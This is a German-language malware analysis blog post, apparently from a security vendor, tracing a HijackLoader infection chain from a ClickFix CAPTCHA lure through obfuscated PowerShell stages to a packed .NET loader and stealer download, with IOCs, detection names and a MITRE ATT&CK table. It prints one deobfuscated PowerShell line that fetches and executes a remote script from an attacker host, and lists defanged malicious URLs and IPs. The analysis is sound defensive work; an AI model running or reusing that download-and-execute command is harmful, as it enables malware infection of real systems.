Inhaltsverzeichnis
- Einführung
-
- Die wachsende Bedrohung durch Angriffslader
-
- Ziel dieses Blogs
- Technische Methodik und Analyse
-
- Erstzugriff und Social Engineering
-
- Mehrstufige Verschleierung und Deobfuskation
-
- Anti-Analyse-Techniken
-
- Die endgültige Nutzlast
- Fazit
- IOCs
- Schnelle Heilung \ Seqrite Schutz
- MITRE ATT&CK-Mapping
Einführung
Mit der Entwicklung von Cyberbedrohungen steht die endgültige Ausführung bösartiger Nutzdaten nicht mehr allein im Fokus der Cybersicherheitsbranche. Angriffslader haben sich zu einem kritischen Element moderner Angriffe entwickelt. Sie dienen als primärer Vektor für den Erstzugriff und ermöglichen die verdeckte Einschleusung komplexer Schadsoftware in ein Unternehmen. Im Gegensatz zu einfachen Nutzdaten werden Loader mit einem bestimmten Zweck entwickelt: Sie sollen Sicherheitsvorkehrungen umgehen, Persistenz gewährleisten und eine günstige Umgebung für die verborgene Ausführung der Schadsoftware im Endstadium schaffen. Dies macht sie zu einer größeren und relevanteren Bedrohung, die eine gezielte Analyse erfordert.
Wir haben in letzter Zeit einen Anstieg der HijackLoader Malware. Es zuerst entstanden in der zweiten Hälfte des Jahres 2023 und schnell gewonnen Aufmerksamkeit aufgrund seiner Fähigkeit, Nutzlasten zu liefern und seiner interessanten Techniken zum Laden und Ausführen dieser. Es erscheint meist als Malware-as-a-Service, Die seit beobachtet hauptsächlich in finanziell motivierten Kampagnen weltweit.
HijackLoader wurde verbreitet durch gefälschte Installateure, SEO-vergiftet Webseiten, Malvertising und Raubkopien von Software/Filmportalen, was für eine breite und opportunistische Opferbasis sorgt.
Seit Juni 2025 beobachten wir Angreifer, die Clickfix verwenden. Dabei werden ahnungslose Opfer dazu gebracht, schädliche MSI-Installationsprogramme herunterzuladen, die wiederum zur Ausführung von HijackLoader führen. DeerStealer wurde als letzte ausführbare Datei auf den Computer des Opfers heruntergeladen.
Kürzlich wurde außerdem beobachtet, dass TAG-150 mit CastleLoader/CastleBot aufgetaucht ist und gleichzeitig externe Dienste wie HijackLoader als Teil seines umfassenderen Malware-as-a-Service-Ökosystems nutzt.
HijackLoader liefert häufig Stealer und RATs während es seine Fähigkeiten kontinuierlich verfeinert. Es ist besonders berüchtigt für fortgeschrittene Ausweichtechniken wie:
- Prozessdoppelgänge mit abgewickelten Abschnitten
- Aushängen von System-DLLs
- Direkte Systemaufrufe unter WOW64
- Call-Stack-Spoofing
- Anti-VM-Prüfungen
Seit seiner Entdeckung hat sich HijackLoader kontinuierlich weiterentwickelt und stellt eine anhaltende und zunehmende Bedrohung für verschiedene Branchen dar. Daher ist es für Unternehmen von entscheidender Bedeutung, ein kontinuierliches Monitoring solcher Loader einzurichten und aufrechtzuerhalten, um das Risiko komplexer, mehrstufiger Angriffe zu minimieren.
Infektionskette
Technische Übersicht
Der Erstzugriff beginnt mit einem CAPTCHA-basierte Social-Engineering-Phishing-Kampagne, die wir als Clickfix identifiziert haben (diese Technik wurde auch im Juni 2025 von Angreifern verwendet).
Diese HTA-Datei dient als erster Downloader und führt zur Ausführung einer PowerShell-Datei.
Nach der Dekodierung der oben Base64-kodierten Zeichenfolge haben wir ein weiteres PowerShell-Skript erhalten, wie unten gezeigt.
Das oben dekodierte PowerShell-Skript ist stark verschleiert und stellt eine erhebliche Herausforderung für die statische Analyse und signaturbasierte Erkennung dar. Anstatt lesbare Zeichenfolgen und Variablen zu verwenden, erstellt es Befehle und Werte dynamisch durch komplexe mathematische Operationen und die Rekonstruktion von Zeichenfolgen aus Zeichenarrays.
Beim Auflösen der obigen Nutzlast sehen wir, dass sie in den folgenden Befehl dekodiert wird, der zwar immer noch unlesbar ist, aber vollständig deobfuskiert werden kann.
Nach der vollständigen Deobfuskierung sehen wir, dass das Skript versucht, eine Verbindung zu einer URL herzustellen, um eine nachfolgende Datei herunterzuladen.
iex ((New-Object System.Net.WebClient).DownloadString('https://rs.mezi[.]bet/samie_bower.mp3'))
Wenn dieses Skript in einem Debugger ausgeführt wird, gibt es einen Fehler zurück, der darauf hinweist, dass keine Verbindung zur URL hergestellt werden kann.
Die Datei samie-bower.mp3 ist ein weiteres PowerShell-Skript, das mit über 18,000 Zeilen stark verschleiert ist und die nächste Stufe des Loaders darstellt.
Durch Debuggen stellen wir fest, dass diese PowerShell-Datei zahlreiche Anti-VM Überprüfungen, einschließlich der Überprüfung der Anzahl der laufenden Prozesse und der Durchführung von Änderungen an den Registrierungsschlüsseln.
Diese Kontrollen scheinen sich speziell an VirtualBox-Kennungen um festzustellen, ob das Skript in einer virtualisierten Umgebung ausgeführt wird.
Bei der Analyse des Skripts haben wir festgestellt, dass sich die endgültige Nutzlast in den letzten Zeilen befindet. Dort liefert der anfänglich verschleierte Loader den letzten bösartigen Befehl.
Die obige unsinnige Variablendeklaration wurde behoben. Bei der Ausführung führt sie eine Base64-Dekodierung, XOR-Operationen und zusätzliche Entschlüsselungsroutinen durch, bevor ein weiteres PowerShell-Skript geladen wird, das wahrscheinlich die PE-Datei einfügt.
Beim Dekodieren dieser Datei wird eine eingebettete PE-Datei angezeigt, die an ihrem MZ-Header.
Diese PE-Datei ist eine stark gepackte Ausführbare .NET-Datei.
Die ausführbare Nutzlast lädt eine erhebliche Menge Code, der wahrscheinlich aus dem Ressourcenabschnitt extrahiert wurde.
Nach dem Entpacken scheint die ausführbare Nutzlast eine DLL-Datei zu laden.
Diese DLL-Datei ist außerdem geschützt, wahrscheinlich um Reverse Engineering und Analysen zu verhindern.
HijackLoader verwendet seit jeher einen mehrstufigen Prozess, der eine ausführbare Datei gefolgt von einer DLL umfasst. Diese letzte Phase des Loaders versucht, eine Verbindung zu einem C2-Server herzustellen, von dem aus ein Infostealer-Malware wird heruntergeladen. In diesem Fall versucht die Malware, eine Verbindung zur folgenden URL herzustellen.
Obwohl dieser C2 nicht mehr erreichbar ist, entspricht der Verbindungsversuch dem Verhalten von NekoStealer-Malware. Dieser HijackLoader war am Herunterladen verschiedener Stealer-Malware beteiligt, darunter auch Lumma.
Fazit
Um sich erfolgreich gegen hochentwickelte Loader wie HijackLoader zu verteidigen, muss der Fokus von statischen Payloads im Endstadium auf deren dynamische und sich ständig weiterentwickelnde Verbreitungsmechanismen verlagert werden. Indem Unternehmen sich auf die Erkennung des ersten Zugriffs und der Zwischenstadien der Verschleierung konzentrieren, können sie eine widerstandsfähigere Abwehr gegen diese hartnäckige Bedrohung aufbauen. Ebenso wichtig ist ein proaktiver Ansatz auf allen Ebenen, anstatt sich nur auf den ersten Zugriff oder die endgültige Payload zu konzentrieren. In den Zwischenebenen nehmen Angreifer häufig die wichtigsten Änderungen vor, um die erfolgreiche Verbreitung von Malware zu ermöglichen.
IOCs:
- 1b272eb601bd48d296995d73f2cdda54ae5f9fa534efc5a6f1dab3e879014b57
- 37fc6016eea22ac5692694835dda5e590dc68412ac3a1523ba2792428053fbf4
- 3552b1fded77d4c0ec440f596de12f33be29c5a0b5463fd157c0d27259e5a2df
- 782b07c9af047cdeda6ba036cfc30c5be8edfbbf0d22f2c110fd0eb1a1a8e57d
- 921016a014af73579abc94c891cd5c20c6822f69421f27b24f8e0a044fa10184
- e2b3c5fdcba20c93cfa695f0abcabe218ac0fc2d7bc72c4c3af84a52d0218a82
- 52273e057552d886effa29cd2e78836e906ca167f65dd8a6b6a6c1708ffdfcfd
- c03eedf04f19fcce9c9b4e5ad1b0f7b69abc4bce7fb551833f37c81acf2c041e
- D0068b92aced77b7a54bd8722ad0fd1037a28821d370cf7e67cbf6fd70a608c4
- 50258134199482753e9ba3e04d8265d5f64d73a5099f689abcd1c93b5a1b80ee
- hxxps[:]//1h[.]vuregyy1[.]ru/3g2bzgrevl[.]hta
- 91 [.] 212 [.] 166 [.] 51
- 37[.]27[.]165[.]65:1477
- cosi[.]com[.]ar
- hxxps[:]//rs[.]mezi[.]bet/samie_bower.mp3
- hxxp[:]//77[.]91[.]101[.]66/
Schnelle Heilung \ Seqrite Schutz:
- Script.Trojan.49900.GC
- Loader.StealerDropperCiR
- Trojan.InfoStealerCiR
- Trojan.Agent
- BDS/511
MITRE-Angriff:
| Taktik | Technik-ID | Technikname |
| Erster Zugriff | T1566.002 | Phishing: Spearphishing-Link (CAPTCHA-Phishing-Seite) |
| T1189 | Drive-by-Kompromittierung (Malvertising, SEO-Poisoning, gefälschte Installationsprogramme) | |
| Ausführung | T1059.001 | Befehls- und Skriptinterpreter: PowerShell |
| Verteidigungsflucht | T1027 | Verschleierte Dateien oder Informationen (mehrstufig verschleierte Skripte) |
| T1140 | Dateien oder Informationen deobfuscate/dekodieren (Base64, XOR-Dekodierung) | |
| T1562.001 | Abwehrmaßnahmen beeinträchtigen: Tools deaktivieren oder ändern (DLLs aushängen) | |
| T1070.004 | Indikatorentfernung: Dateilöschung (wird wahrscheinlich in Staged Loadern verwendet) | |
| T1211 | Ausnutzung zur Umgehung der Verteidigung (direkte Systemaufrufe unter WOW64) | |
| T1036 | Masquerading (gefälschte Erweiterungen wie .mp3 für PowerShell-Skripte) | |
| Bewertung | T1082 | Systeminformationsermittlung (VM-Prüfungen, Registrierungsabfragen) |
| T1497.001 | Virtualisierung/Sandbox-Umgehung: Systemprüfungen | |
| Beharrlichkeit | T1547.001 | Autostart-Ausführung beim Booten oder Anmelden: Registrierungsschlüssel ausführen (Registrierungsmanipulation) |
| Persistenz/Berechtigungs-Esc. | T1055 | Prozessinjektion (PE-Injektionsroutinen) |
| Befehl und Kontrolle (C2) | T1071.001 | Anwendungsschichtprotokoll: Webprotokolle (HTTP/HTTPS C2-Verkehr) |
| T1105 | Ingress Tool Transfer (Herunterladen zusätzlicher Nutzdaten) | |
| Wirkung / Sammlung | T1056 / T1005 | Eingabeerfassung/Daten vom lokalen System (Info-Stealer-Funktionalität der endgültigen Nutzlast) |
Autoren:
Niraj Lazarus Makasare
Shrutirupa Banerjiee
